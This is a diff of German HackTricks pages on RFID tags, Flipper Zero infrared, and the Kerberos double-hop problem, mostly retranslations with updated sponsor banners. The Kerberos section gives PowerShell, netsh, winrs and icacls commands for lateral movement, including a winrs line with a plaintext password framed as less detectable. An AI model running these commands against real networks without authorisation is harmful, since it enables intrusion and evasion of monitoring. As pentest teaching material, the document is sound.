Es gibt viele Zugangskontrollsysteme, die auf der UID basieren, um **Authentifizierung und Zugriff** zu gewähren. Manchmal geschieht dies **sogar**, wenn RFID-Tags **Kryptografie unterstützen**. Eine solche **Fehlverwendung** bringt sie in Bezug auf **Sicherheit** auf die Ebene der dummen **125 kHz-Karten**. Virtuelle Karten (wie Apple Pay) verwenden eine dynamische UID, damit Telefonbesitzer keine Türen mit ihrer Zahlungs-App öffnen können.
|
||||
Es gibt viele Zugangskontrollsysteme, die sich auf die UID verlassen, um **zu authentifizieren und Zugang zu gewähren**. Manchmal geschieht dies **sogar**, wenn RFID-Tags **Kryptografie unterstützen**. Solche **Missbräuche** bringen sie in Bezug auf **Sicherheit** auf das Niveau der dummen **125 kHz-Karten**. Virtuelle Karten (wie Apple Pay) verwenden eine dynamische UID, damit die Telefonbesitzer nicht mit ihrer Zahlungs-App Türen öffnen.
|
||||
|
||||
* **Geringe Reichweite** - Hochfrequente Karten sind speziell so konzipiert, dass sie nahe an den Leser gelegt werden müssen. Dies dient auch dem Schutz der Karte vor unbefugten Interaktionen. Die maximale Lesereichweite, die wir erreichen konnten, betrug etwa 15 cm, und das war mit speziell angefertigten Hochreichweiten-Lesegeräten.
|
||||
* **Fortgeschrittene Protokolle** - Datenübertragungsgeschwindigkeiten von bis zu 424 kbps ermöglichen komplexe Protokolle mit vollständigem bidirektionalem Datentransfer. Dies wiederum ermöglicht Kryptografie, Datentransfer usw.
|
||||
* **Hohe Sicherheit** - Hochfrequente kontaktlose Karten sind den Smartcards in keiner Weise unterlegen. Es gibt Karten, die kryptografisch starke Algorithmen wie AES unterstützen und asymmetrische Kryptografie implementieren.
|
||||
* **Kurze Reichweite** — hochfrequente Karten sind speziell so konzipiert, dass sie nahe am Leser platziert werden müssen. Dies hilft auch, die Karte vor unbefugten Interaktionen zu schützen. Die maximale Reichweite, die wir erreichen konnten, betrug etwa 15 cm, und das war mit speziell angefertigten Hochreichweitenlesern.
|
||||
* **Fortgeschrittene Protokolle** — Datenübertragungsgeschwindigkeiten von bis zu 424 kbps ermöglichen komplexe Protokolle mit vollwertiger bidirektionaler Datenübertragung. Was wiederum **Kryptografie**, Datenübertragung usw. **ermöglicht**.
|
||||
* **Hohe Sicherheit** — hochfrequente kontaktlose Karten sind in keiner Weise den Smartcards unterlegen. Es gibt Karten, die kryptografisch starke Algorithmen wie AES unterstützen und asymmetrische Kryptografie implementieren.
|
||||
|
||||
### Angriff
|
||||
|
||||
Sie können diese Tags mit dem Flipper Zero **angreifen**:
|
||||
Sie können **diese Tags mit dem Flipper Zero angreifen**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
||||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
|
@ -105,14 +109,17 @@ Oder mit dem **proxmark**:
|
|||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# FZ - Infrarot
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Einführung <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
|
@ -20,29 +23,44 @@ Für weitere Informationen darüber, wie Infrarot funktioniert, siehe:
|
|||
[infrared.md](../infrared.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## IR-Signal-Empfänger in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## IR-Signalempfänger im Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipper verwendet einen digitalen IR-Signal-Empfänger TSOP, der es **ermöglicht, Signale von IR-Fernbedienungen abzufangen**. Es gibt einige **Smartphones** wie Xiaomi, die auch einen IR-Anschluss haben, aber beachten Sie, dass **die meisten von ihnen nur Signale senden** können und **nicht empfangen** können.
|
||||
Flipper verwendet einen digitalen IR-Signalempfänger TSOP, der **das Abfangen von Signalen von IR-Fernbedienungen ermöglicht**. Es gibt einige **Smartphones** wie Xiaomi, die ebenfalls einen IR-Port haben, aber beachte, dass **die meisten von ihnen nur senden** können und **nicht empfangen** können.
|
||||
|
||||
Der Infrarot-Empfänger von Flipper ist ziemlich empfindlich. Sie können sogar das Signal erfassen, während Sie sich **irgendwo zwischen** der Fernbedienung und dem Fernseher befinden. Es ist nicht notwendig, die Fernbedienung direkt auf den IR-Anschluss von Flipper zu richten. Dies ist nützlich, wenn jemand in der Nähe des Fernsehers die Kanäle wechselt und sowohl Sie als auch Flipper einige Entfernung entfernt sind.
|
||||
Der Infrarot **Empfänger von Flipper ist ziemlich empfindlich**. Du kannst sogar **das Signal empfangen**, während du **irgendwo dazwischen** der Fernbedienung und dem Fernseher bleibst. Es ist nicht notwendig, die Fernbedienung direkt auf den IR-Port von Flipper zu richten. Dies ist nützlich, wenn jemand die Kanäle wechselt, während er in der Nähe des Fernsehers steht, und sowohl du als auch Flipper sich in einiger Entfernung befinden.
|
||||
|
||||
Da die **Dekodierung des Infrarot**-Signals auf der **Software**-Seite erfolgt, unterstützt Flipper Zero potenziell den **Empfang und die Übertragung beliebiger IR-Fernbedienungscodes**. Im Falle von **unbekannten** Protokollen, die nicht erkannt werden konnten, **zeichnet** es das **Rohsignal auf und spielt es zurück**, genau wie empfangen.
|
||||
Da die **Dekodierung des Infrarotsignals** auf der **Software**-Seite erfolgt, unterstützt Flipper Zero potenziell die **Empfang und Übertragung von beliebigen IR-Fernbedienungscodes**. Im Falle von **unbekannten** Protokollen, die nicht erkannt werden konnten, **zeichnet es das rohe Signal auf und gibt es genau so wieder, wie es empfangen wurde**.
|
||||
|
||||
## Aktionen
|
||||
|
||||
### Universelle Fernbedienungen
|
||||
|
||||
Flipper Zero kann als **universelle Fernbedienung verwendet werden, um jeden Fernseher, Klimaanlage oder Media Center zu steuern**. In diesem Modus **bruteforced** Flipper alle **bekannten Codes** aller unterstützten Hersteller **gemäß dem Wörterbuch von der SD-Karte**. Sie müssen keine bestimmte Fernbedienung auswählen, um einen Restaurantfernseher auszuschalten.
|
||||
Flipper Zero kann als **universelle Fernbedienung verwendet werden, um jeden Fernseher, Klimaanlage oder Mediencenter zu steuern**. In diesem Modus **bruteforced** Flipper alle **bekannten Codes** aller unterstützten Hersteller **laut dem Wörterbuch von der SD-Karte**. Du musst keine bestimmte Fernbedienung auswählen, um einen Restaurantfernseher auszuschalten.
|
||||
|
||||
Es reicht aus, die Ein-/Aus-Taste im Universalfernbedienungsmodus zu drücken, und Flipper wird **sequenziell "Ausschalten"**-Befehle aller bekannten Fernseher senden: Sony, Samsung, Panasonic... und so weiter. Wenn der Fernseher sein Signal empfängt, wird er reagieren und sich ausschalten.
|
||||
Es reicht aus, die Einschalttaste im Universelle Fernbedienung-Modus zu drücken, und Flipper wird **nacheinander "Power Off"**-Befehle aller Fernseher senden, die er kennt: Sony, Samsung, Panasonic... und so weiter. Wenn der Fernseher sein Signal empfängt, wird er reagieren und sich ausschalten.
|
||||
|
||||
Ein solches Brute-Force benötigt Zeit. Je größer das Wörterbuch ist, desto länger dauert es, bis es fertig ist. Es ist unmöglich herauszufinden, welches Signal genau der Fernseher erkannt hat, da es kein Feedback vom Fernseher gibt.
|
||||
Ein solches Brute-Force benötigt Zeit. Je größer das Wörterbuch, desto länger dauert es, bis es abgeschlossen ist. Es ist unmöglich herauszufinden, welches Signal genau der Fernseher erkannt hat, da es kein Feedback vom Fernseher gibt.
|
||||
|
||||
### Neue Fernbedienung lernen
|
||||
|
||||
Es ist möglich, ein Infrarotsignal mit Flipper Zero zu **erfassen**. Wenn es das Signal in der Datenbank **findet**, wird Flipper automatisch **wissen, um welches Gerät es sich handelt**, und Sie können damit interagieren.\
|
||||
Wenn nicht, kann Flipper das **Signal speichern** und Ihnen ermöglichen, es **wiederzugeben**.
|
||||
Es ist möglich, ein **Infrarotsignal** mit Flipper Zero **aufzufangen**. Wenn es **das Signal in der Datenbank findet**, wird Flipper automatisch **wissen, welches Gerät das ist** und dir erlauben, damit zu interagieren.\
|
||||
Wenn nicht, kann Flipper das **Signal speichern** und dir erlauben, es **wiederzugeben**.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Kerberos Double Hop Problem
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich den [**offiziellen PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe** (https://discord.gg/hRep4RUj7f) bei oder der **Telegram-Gruppe** (https://t.me/peass) oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,29 +22,29 @@
|
|||
|
||||
## Einführung
|
||||
|
||||
Das Kerberos-"Double-Hop"-Problem tritt auf, wenn ein Angreifer versucht, die **Kerberos-Authentifizierung über zwei** **Hops** zu verwenden, beispielsweise mit **PowerShell**/**WinRM**.
|
||||
Das Kerberos "Double Hop" Problem tritt auf, wenn ein Angreifer versucht, **Kerberos-Authentifizierung über zwei** **Hops** zu verwenden, zum Beispiel mit **PowerShell**/**WinRM**.
|
||||
|
||||
Wenn eine **Authentifizierung** über **Kerberos** erfolgt, werden **Anmeldeinformationen** **nicht** im **Speicher zwischengespeichert**. Wenn Sie also mimikatz ausführen, finden Sie **keine Anmeldeinformationen** des Benutzers auf dem Computer, auch wenn er Prozesse ausführt.
|
||||
Wenn eine **Authentifizierung** über **Kerberos** erfolgt, werden **Anmeldeinformationen** **nicht** im **Speicher** zwischengespeichert. Daher werden Sie, wenn Sie mimikatz ausführen, **keine Anmeldeinformationen** des Benutzers auf der Maschine finden, selbst wenn er Prozesse ausführt.
|
||||
|
||||
Dies liegt daran, dass bei der Verbindung mit Kerberos die folgenden Schritte ausgeführt werden:
|
||||
Das liegt daran, dass beim Verbinden mit Kerberos folgende Schritte durchgeführt werden:
|
||||
|
||||
1. Benutzer1 gibt Anmeldeinformationen an und der **Domänencontroller** sendet ein Kerberos-**TGT** an Benutzer1 zurück.
|
||||
2. Benutzer1 verwendet das **TGT**, um ein **Service-Ticket** anzufordern, um eine Verbindung mit Server1 herzustellen.
|
||||
3. Benutzer1 stellt eine Verbindung mit **Server1** her und gibt das **Service-Ticket** an.
|
||||
4. **Server1** hat die **Anmeldeinformationen** von Benutzer1 oder das **TGT** von Benutzer1 **nicht zwischengespeichert**. Daher kann sich Benutzer1 von Server1 aus nicht beim zweiten Server anmelden.
|
||||
1. Benutzer1 gibt Anmeldeinformationen ein und der **Domänencontroller** gibt ein Kerberos **TGT** an Benutzer1 zurück.
|
||||
2. Benutzer1 verwendet das **TGT**, um ein **Dienstticket** anzufordern, um sich mit Server1 zu **verbinden**.
|
||||
3. Benutzer1 **verbindet** sich mit **Server1** und gibt das **Dienstticket** an.
|
||||
4. **Server1** hat **keine** Anmeldeinformationen von Benutzer1 zwischengespeichert oder das **TGT** von Benutzer1. Daher kann Benutzer1 von Server1 aus nicht auf einen zweiten Server zugreifen, da er sich **nicht authentifizieren** kann.
|
||||
|
||||
### Unbeschränkte Delegierung
|
||||
### Unbeschränkte Delegation
|
||||
|
||||
Wenn die **unbeschränkte Delegierung** auf dem PC aktiviert ist, tritt dies nicht auf, da der **Server** ein **TGT** von jedem Benutzer erhält, der darauf zugreift. Darüber hinaus können bei Verwendung der unbeschränkten Delegierung wahrscheinlich der **Domänencontroller kompromittiert** werden.\
|
||||
[**Weitere Informationen auf der Seite zur unbeschränkten Delegierung**](unconstrained-delegation.md).
|
||||
Wenn die **unbeschränkte Delegation** auf dem PC aktiviert ist, tritt dies nicht auf, da der **Server** ein **TGT** für jeden Benutzer erhält, der darauf zugreift. Darüber hinaus können Sie, wenn unbeschränkte Delegation verwendet wird, wahrscheinlich den **Domänencontroller** von dort aus **kompromittieren**.\
|
||||
[**Weitere Informationen auf der Seite zur unbeschränkten Delegation**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
Ein weiterer Weg, um dieses Problem zu vermeiden, der [**bemerkenswert unsicher ist**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), ist der **Credential Security Support Provider**. Von Microsoft:
|
||||
Eine weitere Möglichkeit, dieses Problem zu vermeiden, die [**auffällig unsicher**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) ist, ist der **Credential Security Support Provider**. Von Microsoft:
|
||||
|
||||
> Die CredSSP-Authentifizierung delegiert die Benutzeranmeldeinformationen vom lokalen Computer an einen Remote-Computer. Diese Praxis erhöht das Sicherheitsrisiko des Remotevorgangs. Wenn der Remote-Computer kompromittiert ist, können die Anmeldeinformationen, wenn sie an ihn übergeben werden, verwendet werden, um die Netzwerksitzung zu steuern.
|
||||
> CredSSP-Authentifizierung delegiert die Benutzeranmeldeinformationen vom lokalen Computer an einen Remote-Computer. Diese Praxis erhöht das Sicherheitsrisiko der Remote-Operation. Wenn der Remote-Computer kompromittiert ist, können die Anmeldeinformationen, wenn sie an ihn übergeben werden, verwendet werden, um die Netzwerksitzung zu steuern.
|
||||
|
||||
Es wird dringend empfohlen, dass **CredSSP** in Produktionsumgebungen, sensiblen Netzwerken und ähnlichen Umgebungen aufgrund von Sicherheitsbedenken deaktiviert wird. Um festzustellen, ob **CredSSP** aktiviert ist, kann der Befehl `Get-WSManCredSSP` ausgeführt werden. Dieser Befehl ermöglicht die **Überprüfung des CredSSP-Status** und kann sogar remote ausgeführt werden, sofern **WinRM** aktiviert ist.
|
||||
Es wird dringend empfohlen, dass **CredSSP** auf Produktionssystemen, sensiblen Netzwerken und ähnlichen Umgebungen aus Sicherheitsgründen deaktiviert wird. Um festzustellen, ob **CredSSP** aktiviert ist, kann der Befehl `Get-WSManCredSSP` ausgeführt werden. Dieser Befehl ermöglicht die **Überprüfung des CredSSP-Status** und kann sogar remote ausgeführt werden, sofern **WinRM** aktiviert ist.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
|
@ -51,46 +54,48 @@ Get-WSManCredSSP
|
|||
|
||||
### Invoke Command
|
||||
|
||||
Um das doppelte Hop-Problem anzugehen, wird eine Methode mit einer verschachtelten `Invoke-Command` vorgestellt. Dies löst das Problem nicht direkt, bietet jedoch einen Workaround, ohne spezielle Konfigurationen zu benötigen. Der Ansatz ermöglicht die Ausführung eines Befehls (`hostname`) auf einem sekundären Server über einen PowerShell-Befehl, der von einer initialen angreifenden Maschine ausgeführt wird oder über eine zuvor eingerichtete PS-Sitzung mit dem ersten Server. So wird es gemacht:
|
||||
Um das Double-Hop-Problem zu beheben, wird eine Methode vorgestellt, die ein geschachteltes `Invoke-Command` verwendet. Dies löst das Problem nicht direkt, bietet jedoch eine Umgehungslösung, ohne spezielle Konfigurationen zu benötigen. Der Ansatz ermöglicht die Ausführung eines Befehls (`hostname`) auf einem sekundären Server über einen PowerShell-Befehl, der von einer anfänglichen angreifenden Maschine oder über eine zuvor eingerichtete PS-Session mit dem ersten Server ausgeführt wird. So wird es gemacht:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### Registrieren der PSSession-Konfiguration
|
||||
Alternativ wird empfohlen, eine PS-Session mit dem ersten Server herzustellen und `Invoke-Command` unter Verwendung von `$cred` auszuführen, um Aufgaben zu zentralisieren.
|
||||
|
||||
Eine Lösung zur Umgehung des doppelten Hop-Problems besteht darin, `Register-PSSessionConfiguration` mit `Enter-PSSession` zu verwenden. Diese Methode erfordert einen anderen Ansatz als `evil-winrm` und ermöglicht eine Sitzung, die nicht unter der doppelten Hop-Einschränkung leidet.
|
||||
### PSSession-Konfiguration registrieren
|
||||
|
||||
Eine Lösung, um das Double-Hop-Problem zu umgehen, besteht darin, `Register-PSSessionConfiguration` mit `Enter-PSSession` zu verwenden. Diese Methode erfordert einen anderen Ansatz als `evil-winrm` und ermöglicht eine Sitzung, die nicht unter der Double-Hop-Beschränkung leidet.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### Portweiterleitung
|
||||
### PortForwarding
|
||||
|
||||
Für lokale Administratoren auf einem Zwischenziel ermöglicht die Portweiterleitung, Anfragen an einen endgültigen Server zu senden. Mit `netsh` kann eine Regel für die Portweiterleitung hinzugefügt werden, zusammen mit einer Windows-Firewallregel, um den weitergeleiteten Port zuzulassen.
|
||||
Für lokale Administratoren auf einem Zwischenziel ermöglicht das Port-Forwarding, Anfragen an einen endgültigen Server zu senden. Mit `netsh` kann eine Regel für das Port-Forwarding hinzugefügt werden, zusammen mit einer Windows-Firewallregel, um den weitergeleiteten Port zuzulassen.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe` kann zum Weiterleiten von WinRM-Anfragen verwendet werden, möglicherweise als weniger erkennbare Option, wenn die Überwachung von PowerShell ein Anliegen ist. Der folgende Befehl zeigt dessen Verwendung:
|
||||
`winrs.exe` kann verwendet werden, um WinRM-Anfragen weiterzuleiten, möglicherweise als weniger erkennbare Option, wenn die Überwachung von PowerShell ein Anliegen ist. Der folgende Befehl zeigt seine Verwendung:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
Die Installation von OpenSSH auf dem ersten Server ermöglicht eine Umgehung des Double-Hop-Problems, besonders nützlich für Jump-Box-Szenarien. Diese Methode erfordert die CLI-Installation und Einrichtung von OpenSSH für Windows. Wenn für die Passwortauthentifizierung konfiguriert, ermöglicht dies dem Zwischenserver, ein TGT im Namen des Benutzers zu erhalten.
|
||||
Die Installation von OpenSSH auf dem ersten Server ermöglicht eine Umgehung des Double-Hop-Problems, das besonders nützlich für Jump-Box-Szenarien ist. Diese Methode erfordert die CLI-Installation und -Einrichtung von OpenSSH für Windows. Wenn es für die Passwortauthentifizierung konfiguriert ist, ermöglicht dies dem Zwischenserver, ein TGT im Namen des Benutzers zu erhalten.
|
||||
|
||||
#### OpenSSH Installationschritte
|
||||
#### OpenSSH Installationsschritte
|
||||
|
||||
1. Laden Sie die neueste OpenSSH-Version herunter und verschieben Sie sie auf den Zielserver.
|
||||
2. Entpacken Sie das Archiv und führen Sie das Skript `Install-sshd.ps1` aus.
|
||||
1. Laden Sie die neueste OpenSSH-Release-Zip-Datei herunter und verschieben Sie sie auf den Zielserver.
|
||||
2. Entpacken Sie die Datei und führen Sie das Skript `Install-sshd.ps1` aus.
|
||||
3. Fügen Sie eine Firewall-Regel hinzu, um Port 22 zu öffnen, und überprüfen Sie, ob die SSH-Dienste ausgeführt werden.
|
||||
|
||||
Um Fehler wie `Verbindung zurückgesetzt` zu beheben, müssen Berechtigungen möglicherweise aktualisiert werden, um allen Lese- und Ausführungszugriff auf das OpenSSH-Verzeichnis zu ermöglichen.
|
||||
Um `Connection reset`-Fehler zu beheben, müssen möglicherweise die Berechtigungen aktualisiert werden, um allen Lese- und Ausführungszugriff auf das OpenSSH-Verzeichnis zu gewähren.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -105,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
